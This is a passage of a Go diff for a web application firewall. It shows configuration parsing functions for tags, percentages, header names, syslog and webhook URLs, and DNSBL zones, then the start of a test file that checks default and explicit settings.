err := parseList(value) + if err != nil { + return nil, err + } + + lists := make([]TagList, 0, len(items)) + + for _, item := range items { + end := strings.Index(item, "=http") + if end <= 0 || !isListURL(item[end+1:]) { + return nil, fmt.Errorf("%q %w", item, errNotTagList) + } + + list := TagList{Name: strings.ToLower(item[:end]), URL: item[end+1:]} + + if slices.ContainsFunc(lists, func(earlier TagList) bool { + return earlier.Name == list.Name || earlier.URL == list.URL + }) { + return nil, fmt.Errorf("%q %w", item, errListedTwice) + } + + lists = append(lists, list) + } + + return lists, nil +} + +// parseTags reads a comma-separated list of tags, which parseTag reads. A +// tag listed twice is an error, which shows the tag as MaskZoneKey does. +func parseTags(value string) ([]string, error) { + items, err := parseList(value) + if err != nil { + // parseList's error, for an empty item, shows the whole value, keys + // included. + return nil, errEmptyItem + } + + tags := make([]string, 0, len(items)) + + for _, item := range items { + tag, err := parseTag(item) + if err != nil { + return nil, err + } + + if slices.Contains(tags, tag) { + return nil, fmt.Errorf( + "%q %w", + MaskZoneKey(item), + errListedTwice, + ) + } + + tags = append(tags, tag) + } + + return tags, nil +} + +// parseTag reads a tag in either case, with spaces around it, and returns it +// as a request carries it: in lower case, but for a country code, which is in +// capitals, an asn= tag's number without leading zeros, and a prefix= tag's +// netblock as routewatch writes it. An asn=, country= or prefix= tag must name +// a number, a country or a netblock, so that a mistyped one stops the start +// instead of never matching. +func parseTag(value string) (string, error) { + tag := strings.ToLower(strings.TrimSpace(value)) + + if digits, isASN := strings.CutPrefix(tag, ASNTagPrefix); isASN { + number, err := strconv.ParseUint(digits, 10, 32) + if err != nil { + return "", fmt.Errorf("%q %w", value, errNotASNTag) + } + + return ASNTagPrefix + strconv.FormatUint(number, 10), nil + } + + if code, isCountry := strings.CutPrefix(tag, CountryTagPrefix); isCountry { + country, err := parseCountry(code) + if err != nil { + return "", err + } + + return CountryTagPrefix + country, nil + } + + if text, isPrefix := strings.CutPrefix(tag, PrefixTagPrefix); isPrefix { + netblock, err := netip.ParsePrefix(text) + if err != nil || netblock != netblock.Masked() { + return "", fmt.Errorf("%q %w", value, errNotPrefixTag) + } + + return PrefixTagPrefix + netblock.String(), nil + } + + return tag, nil +} + +// parseTagPercents reads a comma-separated list of tags, each with : and a +// percentage from 1 to 99, such as vpn:50 or asn=14061:25. A tag listed +// twice is an error, and so is ExploitSignatureTag, which a request gets +// only after the rate limits have counted it. +func parseTagPercents(value string) (map[string]int64, error) { + items, err := parseList(value) + if err != nil { + // parseList's error, for an empty item, shows the whole value, keys + // included. + return nil, errEmptyItem + } + + percents := make(map[string]int64, len(items)) + + for _, item := range items { + colon := strings.LastIndex(item, ":") + if colon <= 0 { + return nil, fmt.Errorf( + "%q %w", + MaskZoneKey(item), + errNotTagPercentItem, + ) + } + + tag, err := parseTag(item[:colon]) + if err != nil { + return nil, err + } + + percent, err := strconv.ParseInt(item[colon+1:], 10, 64) + if err != nil || percent < 1 || percent > 99 { + return nil, fmt.Errorf( + "%q %w", + MaskZoneKey(item[colon+1:]), + errNotTagPercent, + ) + } + + if tag == ExploitSignatureTag { + return nil, fmt.Errorf("%q %w", tag, errExploitTag) + } + + if _, listed := percents[tag]; listed { + // tag, since item[:colon] may end in a space, which MaskZoneKey + // would not mask. + return nil, fmt.Errorf("%q %w", MaskZoneKey(tag), errListedTwice) + } + + percents[tag] = percent + } + + return percents, nil +} + +// parsePercents reads a comma-separated list of items, each an AS number +// or a country, which parseCode reads, then : and a percentage, such as +// AS64496:50 or cn:25, and returns each one's percentage. An empty value +// is an empty list. An AS number or country listed twice is an error. +func parsePercents( + value string, parseCode func(string) (string, error), +) (map[string]int64, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + percents := make(map[string]int64, len(items)) + + for _, item := range items { + codeText, percentText, found := strings.Cut(item, ":") + if !found { + return nil, fmt.Errorf("%q %w", item, errNotPercentItem) + } + + code, err := parseCode(codeText) + if err != nil { + return nil, err + } + + percent, err := ParsePercent(percentText) + if err != nil { + return nil, err + } + + if _, listed := percents[code]; listed { + return nil, fmt.Errorf("%q %w", codeText, errListedTwice) + } + + percents[code] = percent + } + + return percents, nil +} + +// ParsePercent reads a percentage, a whole number from 0 to 100. The file +// SWW_WAF_ASN_LIMIT_PERCENT_URL names is read with it too. +func ParsePercent(value string) (int64, error) { + percent, err := strconv.ParseInt(value, 10, 64) + if err != nil || percent < 0 || percent > 100 { + return 0, fmt.Errorf("%q %w", value, errNotPercent) + } + + return percent, nil +} + +// headerNameChars are the characters RFC 9110 allows in a header name: +// letters, digits and these marks. +const headerNameChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + + "0123456789!#$%&'*+-.^_`|~" + +// IsHeaderName reports whether name can be a header name: one or more of +// the characters RFC 9110 allows in one. +func IsHeaderName(name string) bool { + if name == "" { + return false + } + + for _, char := range name { + if !strings.ContainsRune(headerNameChars, char) { + return false + } + } + + return true +} + +// parseHeaderNames reads a comma-separated list of header names in either +// case, and returns them in lower case. Host and Transfer-Encoding are +// refused: Go's HTTP server takes them out of the request's headers. +func parseHeaderNames(value string) ([]string, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + headers := make([]string, 0, len(items)) + + for _, item := range items { + if !IsHeaderName(item) { + return nil, fmt.Errorf("%q %w", item, errNotHeaderName) + } + + header := strings.ToLower(item) + switch header { + case "host": + return nil, fmt.Errorf( + "%q %w; the request's host is the field host", + item, + errHeaderTakenOut, + ) + case "transfer-encoding": + return nil, fmt.Errorf("%q %w", item, errHeaderTakenOut) + } + + headers = append(headers, header) + } + + return headers, nil +} + +// parseLogRemoteURL reads where every log line is also sent: +// syslog+udp, syslog+tcp or syslog+tls, a host and a port from 1 to +// 65535, and nothing else. +func parseLogRemoteURL(value string) (*url.URL, error) { + remote, err := url.Parse(value) + if err != nil { + return nil, fmt.Errorf("%q %w", value, errNotLogRemoteURL) + } + + schemes := []string{ + remotelog.SchemeUDP, + remotelog.SchemeTCP, + remotelog.SchemeTLS, + } + port, err := strconv.ParseUint(remote.Port(), 10, 16) + + onlySchemeHostAndPort := slices.Contains(schemes, remote.Scheme) && + remote.Hostname() != "" && err == nil && port != 0 && + remote.User == nil && remote.Opaque == "" && + (remote.Path == "" || remote.Path == "/") && + remote.RawQuery == "" && remote.Fragment == "" + if !onlySchemeHostAndPort { + return nil, fmt.Errorf("%q %w", value, errNotLogRemoteURL) + } + + return remote, nil +} + +// parseFacility reads the name of a syslog facility, and returns its +// number, as RFC 5424 numbers them. +func parseFacility(value string) (int, error) { + //nolint:mnd // the facilities' numbers in RFC 5424 + number, known := map[string]int{ + "kern": 0, "user": 1, "mail": 2, "daemon": 3, "auth": 4, "syslog": 5, + "lpr": 6, "news": 7, "uucp": 8, "cron": 9, "authpriv": 10, "ftp": 11, + "local0": 16, "local1": 17, "local2": 18, "local3": 19, + "local4": 20, "local5": 21, "local6": 22, "local7": 23, + }[value] + if !known { + return 0, fmt.Errorf("%q %w", value, errNotFacility) + } + + return number, nil +} + +// parseWebhookURL reads where each alert is posted: http or https, a +// host, and an optional port from 1 to 65535, path and query, without a +// user or a fragment. It returns the URL, and how the log shows it: its +// scheme and host, and ******** in place of its path and query, if it has +// either. An error shows no part of the value. An empty value is no URL. +func parseWebhookURL(value string) (*url.URL, string, error) { + if value == "" { + return nil, "", nil + } + + webhook, err := url.Parse(value) + if err != nil || !isHTTPURL(webhook) { + return nil, "", errNotWebhookURL + } + + logged := webhook.Scheme + "://" + webhook.Host + if webhook.Path != "" || webhook.RawQuery != "" { + logged += "/" + masked + } + + return webhook, logged, nil +} + +// isHTTPURL reports whether u is http or https, with a host, and an +// optional port from 1 to 65535, path and query, without a user or a +// fragment. +func isHTTPURL(u *url.URL) bool { + port, err := strconv.ParseUint(u.Port(), 10, 16) + + return (u.Scheme == "http" || u.Scheme == "https") && + u.Hostname() != "" && + (u.Port() == "" || (err == nil && port != 0)) && + u.User == nil && + u.Opaque == "" && + u.Fragment == "" +} + +// isListURL reports whether value is a URL a list can be fetched from, as +// isHTTPURL says. +func isListURL(value string) bool { + u, err := url.Parse(value) + + return err == nil && isHTTPURL(u) +} + +// parseListURLs reads a comma-separated list of the URLs lists are fetched +// from. A URL listed twice is an error: it would be fetched twice as +// often. +func parseListURLs(value string) ([]string, error) { + urls, err := parseList(value) + if err != nil { + return nil, err + } + + for i, listURL := range urls { + if !isListURL(listURL) { + return nil, fmt.Errorf("%q %w", listURL, errNotListURL) + } + + if slices.Contains(urls[:i], listURL) { + return nil, fmt.Errorf("%q %w", listURL, errListedTwice) + } + } + + return urls, nil +} + +const ( + // maxZoneLength is the most characters a DNSBL zone may have: 253, the + // most a DNS name may have, less the 64 that come before the zone in + // the name an IPv6 client is asked about by, its 32 hex digits each + // followed by a dot. + maxZoneLength = 189 + // maxLabelLength is the most characters a label of a DNS name may have. + maxLabelLength = 63 + // labelChars are the characters a label of a DNS zone may hold. + labelChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-" + // dnsPort is the port a resolver is asked on when SWW_WAF_DNSBL_RESOLVER + // gives none. + dnsPort = 53 +) + +// parseZones reads a comma-separated list of DNSBL zones, each a DNS name +// such as dnsbl.dronebl.org: labels separated by dots, each of 1 to 63 +// letters, digits and hyphens, neither starting nor ending with a hyphen, +// and at most maxZoneLength characters in all. Go's resolver takes any +// other name for one that does not exist, so that the zone would list no +// client. A zone listed twice is an error, whatever the case of its +// letters, which DNS names ignore, and whatever its key, since +// MaskZoneKey shows two keys of one zone alike. An error shows a zone as +// MaskZoneKey does. +func parseZones(value string) ([]string, error) { + zones, err := parseList(value) + if err != nil { + // parseList's error, for an empty item, shows the whole value, keys + // included. + return nil, errEmptyItem + } + + for i, zone := range zones { + shown := MaskZoneKey(zone) + listedBefore := slices.ContainsFunc( + zones[:i], + func(earlier string) bool { + return strings.EqualFold(MaskZoneKey(earlier), shown) + }, + ) + + switch { + case len(zone) > maxZoneLength: + return nil, fmt.Errorf("%q %w", shown, errZoneTooLong) + case !isZone(zone): + return nil, fmt.Errorf("%q %w", shown, errNotZone) + case listedBefore: + return nil, fmt.Errorf("%q %w", shown, errListedTwice) + } + } + + return zones, nil +} + +// MaskZoneKey returns zone with ******** in place of its key, if it is a +// zone of Spamhaus's keyed query service, a name under dq.spamhaus.net, +// such as .xbl.dq.spamhaus.net, whose first label is the key. Any +// other zone it returns as it is. A zone is shown so wherever it leaves +// the process: in the log, the alerts and the metrics. +func MaskZoneKey(zone string) string { + // DNS names ignore case, and a name may be written with a dot at its + // end. + name := strings.TrimSuffix(strings.ToLower(zone), ".") + if !strings.HasSuffix(name, ".dq.spamhaus.net") { + return zone + } + + _, rest, _ := strings.Cut(zone, ".") + + return masked + "." + rest +} + +// isZone reports whether each label of zone is as parseZones takes it. It +// also checks the hostnames of SWW_WAF_APPS, which are DNS names too. +func isZone(zone string) bool { + for label := range strings.SplitSeq(zone, ".") { + badChar := strings.ContainsFunc(label, func(char rune) bool { + return !strings.ContainsRune(labelChars, char) + }) + + if label == "" || len(label) > maxLabelLength || badChar || + strings.HasPrefix(label, "-") || strings.HasSuffix(label, "-") { + return false + } + } + + return true +} + +// parseResolver reads the resolver the DNSBL zones are asked through: an +// IP address with a port from 1 to 65535, such as 192.0.2.53:5353 or +// [2001:db8::53]:5353, or without one, such as 192.0.2.53 or 2001:db8::53, +// for port 53. An empty value is none, the zero AddrPort. +func parseResolver(value string) (netip.AddrPort, error) { + if value == "" { + return netip.AddrPort{}, nil + } + + resolver, err := netip.ParseAddrPort(value) + if err == nil && resolver.Port() != 0 { + return resolver, nil + } + + addr, err := netip.ParseAddr(value) + if err != nil { + return netip.AddrPort{}, fmt.Errorf("%q %w", value, errNotResolver) + } + + return netip.AddrPortFrom(addr, dnsPort), nil +} + +// parseWebhookHeaders reads a comma-separated list of headers, each its +// name, :, and its value, and returns them, and how the log shows them, +// with each value as ********. An error names the item by its place in +// the list, so that it shows no value. An empty value is an empty list. +func parseWebhookHeaders(value string) (http.Header, string, error) { + headers := http.Header{} + if strings.TrimSpace(value) == "" { + return headers, "", nil + } + + logged := []string{} + + for i, item := range strings.Split(value, ",") { + name, headerValue, found := strings.Cut(item, ":") + name = strings.TrimSpace(name) + + if !found || !IsHeaderName(name) || + strings.ContainsAny(headerValue, "\r\n\x00") { + return nil, "", fmt.Errorf( + "item %d %w", + i+1, + errNotWebhookHeader, + ) + } + + headers.Add(name, strings.TrimSpace(headerValue)) + logged = append(logged, name+":"+masked) + } + + return headers, strings.Join(logged, ","), nil +} + +// parseAlertEvents reads a comma-separated list of the events alerts can +// be sent for. +func parseAlertEvents(value string) ([]string, error) { + events, err := parseList(value) + if err != nil { + return nil, err + } + + for _, event := range events { + if !slices.Contains(alerts.Events(), event) { + return nil, fmt.Errorf("%q %w", event, errNotAlertEvent) + } + } + + return events, nil +} + +// parseNumberOrOff reads a whole number above zero, or off, which is 0. +func parseNumberOrOff(value string) (int, error) { + if value == off { + return 0, nil + } + + n, err := strconv.Atoi(value) + if err != nil || n <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotNumberOrOff) + } + + return n, nil +} + +// appNameMaxLength is the most characters RFC 5424 allows in an +// APP-NAME. +const appNameMaxLength = 48 + +// isAppName reports whether value can be an APP-NAME: 1 to +// appNameMaxLength printable ASCII characters, none of them a space. +func isAppName(value string) bool { + if value == "" || len(value) > appNameMaxLength { + return false + } + + for _, char := range []byte(value) { + if char < '!' || char > '~' { + return false + } + } + + return true +} diff --git a/internal/config/waf_test.go b/internal/config/waf_test.go new file mode 100644 index 0000000..f3ea741 --- /dev/null +++ b/internal/config/waf_test.go @@ -0,0 +1,3170 @@ +package config_test + +import ( + "bytes" + "crypto/x509" + "encoding/json" + "log/slog" + "maps" + "net/http" + "net/netip" + "os" + "path/filepath" + "reflect" + "slices" + "strconv" + "strings" + "testing" + "time" + + "github.com/spf13/viper" + + "sneak.berlin/go/smallwebwaf/internal/anomaly" + "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/config/configtest" +) + +// The settings, by name. +const ( + listenAddr = "SWW_WAF_LISTEN_ADDR" + mode = "SWW_WAF_MODE" + ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX" + maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS" + allowNets = "SWW_WAF_ALLOW_NETS" + rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" + denyNets = "SWW_WAF_DENY_NETS" + rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE" + rateLimitPerHour = "SWW_WAF_RATE_LIMIT_PER_HOUR" + rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" + rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS" + bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE" + bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR" + bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY" + bytesCounted = "SWW_WAF_BYTES_COUNTED" + lookupSource = "SWW_WAF_LOOKUP_SOURCE" + lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" + asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS" + addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS" + allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES" + tagLists = "SWW_WAF_TAG_LISTS" + tagDeny = "SWW_WAF_TAG_DENY" + tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT" + asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT" + countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT" + unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT" + asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL" + blocklistURLs = "SWW_WAF_BLOCKLIST_URLS" + blocklistRefresh = "SWW_WAF_BLOCKLIST_REFRESH" + blocklistAction = "SWW_WAF_BLOCKLIST_ACTION" + dnsblZones = "SWW_WAF_DNSBL_ZONES" + dnsblResolver = "SWW_WAF_DNSBL_RESOLVER" + abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY" + abuseIPDBMinScore = "SWW_WAF_ABUSEIPDB_MIN_SCORE" + abuseIPDBDailyBudget = "SWW_WAF_ABUSEIPDB_DAILY_BUDGET" + dnsblAbuseIPDBAction = "SWW_WAF_DNSBL_ABUSEIPDB_ACTION" + ipReputationCacheTTL = "SWW_WAF_IP_REPUTATION_CACHE_TTL" + dnsblAbuseIPDBTimeout = "SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS" + routeWatchURL = "SWW_WAF_ROUTEWATCH_URL" + banResponse = "SWW_WAF_BAN_RESPONSE" + limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION" + limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW" + limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE" + attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION" + maxBans = "SWW_WAF_MAX_BANS" + banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX" + stateDir = "SWW_WAF_STATE_DIR" + bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY" + stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL" + cacheDir = "SWW_WAF_CACHE_DIR" + metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS" + instanceName = "SWW_WAF_INSTANCE_NAME" + logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS" + logLevel = "SWW_WAF_LOG_LEVEL" + ruleFilesDir = "SWW_WAF_RULE_FILES_DIR" + ruleFilesEnabled = "SWW_WAF_RULE_FILES_ENABLED" + coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE" + coreRuleSetParanoiaLevel = "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL" + coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD" + coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES" + coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS" + coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE" + exclusionsFile = "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE" + apps = "SWW_WAF_APPS" + trapPaths = "SWW_WAF_TRAP_PATHS" + refusalsLimitPerMinute = "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE" + logRemoteURL = "SWW_WAF_LOG_REMOTE_URL" + logRemoteTLSCAFile = "SWW_WAF_LOG_REMOTE_TLS_CA_FILE" + logRemoteBufferLines = "SWW_WAF_LOG_REMOTE_BUFFER_LINES" + logRemoteFacility = "SWW_WAF_LOG_REMOTE_FACILITY" + logRemoteAppName = "SWW_WAF_LOG_REMOTE_APP_NAME" + alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL" + alertWebhookHeaders = "SWW_WAF_ALERT_WEBHOOK_HEADERS" + alertSlackWebhookURL = "SWW_WAF_ALERT_SLACK_WEBHOOK_URL" + alertNtfyURL = "SWW_WAF_ALERT_NTFY_URL" + alertEvents = "SWW_WAF_ALERT_EVENTS" + alertCooldown = "SWW_WAF_ALERT_COOLDOWN" + alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR" + anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX" + anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX" + anomalyWatchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS" +) + +// The settings that hold tokens, by name. +const ( + adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name + metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name + alertNtfyToken = "SWW_WAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name +) + +// The anomaly thresholds: each of the prefixes below, which name a scope, +// followed by each of the four ends. +const ( + anomalyClient = "SWW_WAF_ANOMALY_CLIENT_" + anomalyNet = "SWW_WAF_ANOMALY_NET_" + anomalyASN = "SWW_WAF_ANOMALY_ASN_" + anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_" + anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_" + + requestsPerMinute = "REQUESTS_PER_MINUTE" + requestsPerHour = "REQUESTS_PER_HOUR" + bytesPerMinute = "BYTES_PER_MINUTE" + bytesPerHour = "BYTES_PER_HOUR" +) + +// anomalyScopes returns the prefixes of the anomaly thresholds, one for +// each scope. +func anomalyScopes() []string { + return []string{ + anomalyClient, + anomalyNet, + anomalyASN, + anomalyTotal, + anomalyWatchedNet, + } +} + +// anomalyThresholds returns the names of the twenty anomaly thresholds. +func anomalyThresholds() []string { + ends := []string{ + requestsPerMinute, + requestsPerHour, + bytesPerMinute, + bytesPerHour, + } + names := make([]string, 0, len(anomalyScopes())*len(ends)) + + for _, scope := range anomalyScopes() { + for _, end := range ends { + names = append(names, scope+end) + } + } + + return names +} + +// loggedAnomalyDefaults returns the anomaly settings as the settings +// logged at start give them by default. +func loggedAnomalyDefaults() map[string]string { + logged := map[string]string{ + anomalyNetV4Prefix: "24", anomalyNetV6Prefix: "48", anomalyWatchedNets: "", + } + for _, name := range anomalyThresholds() { + logged[name] = off + } + + return logged +} + +// defaultAlertEvents is the default of SWW_WAF_ALERT_EVENTS, and +// defaultAlertCooldown that of SWW_WAF_ALERT_COOLDOWN. +const ( + defaultAlertEvents = "ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit," + + "source_failure,file_error" + defaultAlertCooldown = "15m" +) + +// defaultIPReputationCacheTTL is the default of SWW_WAF_IP_REPUTATION_CACHE_TTL. +const defaultIPReputationCacheTTL = "24h" + +// defaultCoreRuleSetDisabledRules is the default of +// SWW_WAF_CORE_RULE_SET_DISABLED_RULES. +const defaultCoreRuleSetDisabledRules = "920340,920420,920440,920640,930130,930140" + +// defaultLogRequestHeaders is the default of SWW_WAF_LOG_REQUEST_HEADERS. +const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + + "content-type,origin,range" + +// testCA is a CA certificate, of which only that it reads matters here. +const testCA = `-----BEGIN CERTIFICATE----- +MIIBkzCCATmgAwIBAgIUeySaE27dnr6A2HijrMB13gTLUKIwCgYIKoZIzj0EAwIw +HjEcMBoGA1UEAwwTc21hbGx3ZWJ3YWYgdGVzdCBDQTAgFw0yNjEwMDYxNDI2MTNa +GA8yMTI2MDkxMjE0MjYxM1owHjEcMBoGA1UEAwwTc21hbGx3ZWJ3YWYgdGVzdCBD +QTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABKDEhcWKKhet2KgSdME+iEPxyEyn +2sd9IdElbt8DM2SfCdB2JsXo0C07UNZaywMPMfn/n8LNI/PKwu+N2uX7gfSjUzBR +MB0GA1UdDgQWBBRZo3BPLv0KbV4drw6JI1JIUKmoRzAfBgNVHSMEGDAWgBRZo3BP +Lv0KbV4drw6JI1JIUKmoRzAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMCA0gA +MEUCICC5k+76UpWoSwVbZA+atu5WcALEOJGqwOUWua3zemhcAiEA8Hfdxgwp0z2v +rlG9y/jrJb6ORy3kTLWo2EA0BA67vuI= +-----END CERTIFICATE----- +` + +// token is a token of 32 characters, the shortest allowed, and +// otherToken another. +const ( + token = "0123456789abcdef0123456789abcdef" + otherToken = "fedcba9876543210fedcba9876543210" +) + +// instance is an SWW_WAF_INSTANCE_NAME that is a valid app name too, and +// remoteURL an SWW_WAF_LOG_REMOTE_URL, for the tests that send the lines. +const ( + instance = "host1/blog" + remoteURL = "syslog+udp://192.0.2.1:514" +) + +// off switches a timeout, a size limit or a rate limit off. +const off = "off" + +// enabled is true, as a setting's value. +const enabled = "true" + +// disabled is false, as a setting's value. +const disabled = "false" + +// defaultLookupSource is the default of SWW_WAF_LOOKUP_SOURCE, and +// fileSource the source that is the lookup database. +const ( + defaultLookupSource = "geojs" + fileSource = "file" +) + +// environment is a set of environment variables, for WAFFromEnvironment. +type environment map[string]string + +// viper returns a viper holding each of the variables. +func (e environment) viper() *viper.Viper { + return configtest.Viper(e) +} + +// wafFromEnvironment reads waf's settings from env, which must be valid. +func wafFromEnvironment(t *testing.T, env environment) *config.WAF { + t.Helper() + + cfg, err := config.WAFFromEnvironment(env.viper()) + if err != nil { + t.Fatalf("settings %v: %v", env, err) + } + + return cfg +} + +func TestDefaults(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{}) + + wantSettings(t, cfg, config.WAF{ + ListenAddr: ":8080", + Observe: false, + RateLimitPerMinute: 120, + RateLimitPerHour: 1500, + RateLimitPerDay: 6000, + BanResponse: 403, + LimitBanDuration: time.Hour, + LimitBanRepeatWindow: 24 * time.Hour, + LimitBanPermanentAbove: 7 * 24 * time.Hour, + AttackBanDuration: 7 * 24 * time.Hour, + MaxBans: 5000, + BanScopeV4Prefix: 32, + StateDir: "/var/lib/sww", + BansWriteDelay: 10 * time.Second, + StateWriteInterval: 15 * time.Minute, + CacheDir: "/var/cache/sww", + MetricsToken: "", + MetricsBusiestCountriesAndASNs: 50, + RuleFilesDir: "/etc/sww/rules.d", + RuleFilesEnabled: true, + }) + wantLookupSettings(t, cfg, config.WAF{ + LookupSource: defaultLookupSource, ASNAndCountryLookupTimeout: 800 * time.Millisecond, + AddLookupHeaders: true, + }) + wantByteLimitSettings(t, cfg, config.WAF{ + BytesLimitPerMinute: 0, BytesLimitPerHour: 50 << 30, + BytesLimitPerDay: 100 << 30, BytesCounted: "both", + }) + + wantNetblocks(t, cfg.AllowNets) + wantNetblocks(t, cfg.RateLimitExemptNets) + wantNetblocks(t, cfg.DenyNets) + wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries) + + if len(cfg.TagLists) != 0 || len(cfg.TagDeny) != 0 || + len(cfg.TagLimitPercent) != 0 { + t.Errorf("tag settings %v, %v and %v by default, want all empty", + cfg.TagLists, cfg.TagDeny, cfg.TagLimitPercent) + } + + hostname, err := os.Hostname() + if err != nil || hostname == "" || cfg.InstanceName != hostname { + t.Errorf("%s is %q, want the host's name %q (%v)", instanceName, + cfg.InstanceName, hostname, err) + } + + wantHeaders := strings.Split(defaultLogRequestHeaders, ",") + if !slices.Equal(cfg.LogRequestHeaders, wantHeaders) { + t.Errorf( + "%s gave %v, want %v", + logRequestHeaders, + cfg.LogRequestHeaders, + wantHeaders, + ) + } + + if len(cfg.RateLimitExemptPaths) != 0 { + t.Errorf( + "%s gave %v, want none", + rateLimitExemptPaths, + cfg.RateLimitExemptPaths, + ) + } +} + +func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{}) + + rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL}) + if err != nil { + t.Fatalf("settings: %v", err) + } + + // The largest request body and the largest response, both counted. + largest := rproxy.MaxRequestSize + rproxy.MaxResponseSize + for _, limit := range []int64{ + cfg.BytesLimitPerMinute, cfg.BytesLimitPerHour, cfg.BytesLimitPerDay, + } { + if limit != 0 && largest > limit { // 0 is off + t.Errorf( + "a request of %d bytes breaks the byte limit of %d", + largest, + limit, + ) + } + } +} + +func TestValuesAsSet(t *testing.T) { + t.Parallel() + + cfg := wafFromEnvironment(t, environment{ + listenAddr: "127.0.0.1:9000", + mode: "observe", + allowNets: "192.0.2.7", + rateLimitExemptNets: "2001:db8::/48, 10.9.8.7", + denyNets: "198.51.100.0/24", + rateLimitPerMinute: "60", + rateLimitPerHour: "600", + rateLimitPerDay: "6000", + allowedCountries: "de", + banResponse: "429", + limitBanDuration: "15m", + limitBanRepeatWindow: "2d", + limitBanPermanentAbove: "30d", + attackBanDuration: "1d", + maxBans: "100", + banScopeV4Prefix: "24", + stateDir: "/srv/waf-state", + bansWriteDelay: "500ms", + stateWriteInterval: "1h", + cacheDir: "/srv/waf-cache", + metricsToken: token, + metricsBusiestCountriesAndASNs: "10", + ruleFilesDir: "/srv/waf-rules", + ruleFilesEnabled: disabled, + }) + + wantSettings(t, cfg, config.WAF{ + ListenAddr: "127.0.0.1:9000", + Observe: true, + RateLimitPerMinute: 60, + RateLimitPerHour: 600, + RateLimitPerDay: 6000, + BanResponse: 429, + LimitBanDuration: 15 * time.Minute, + LimitBanRepeatWindow: 48 * time.Hour, + LimitBanPermanentAbove: 30 * 24 * time.Hour, + AttackBanDuration: 24 * time.Hour, + MaxBans: 100, + BanScopeV4Prefix: 24, + StateDir: "/srv/waf-state", + BansWriteDelay: 500 * time.Millisecond, + StateWriteInterval: time.Hour, + CacheDir: "/srv/waf-cache", + MetricsToken: token, + MetricsBusiestCountriesAndASNs: 10, + RuleFilesDir: "/srv/waf-rules", + RuleFilesEnabled: false, + }) + + wantNetblocks(t, cfg.AllowNets, "192.0.2.7/32") + wantNetblocks(t, cfg.RateLimitExemptNets, "2001:db8::/48", "10.9.8.7/32") + wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24") + wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") +} + +func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + prefix, clients int + level slog.Level + }{ + {environment{}, 64, 20000, slog.LevelInfo}, + { + 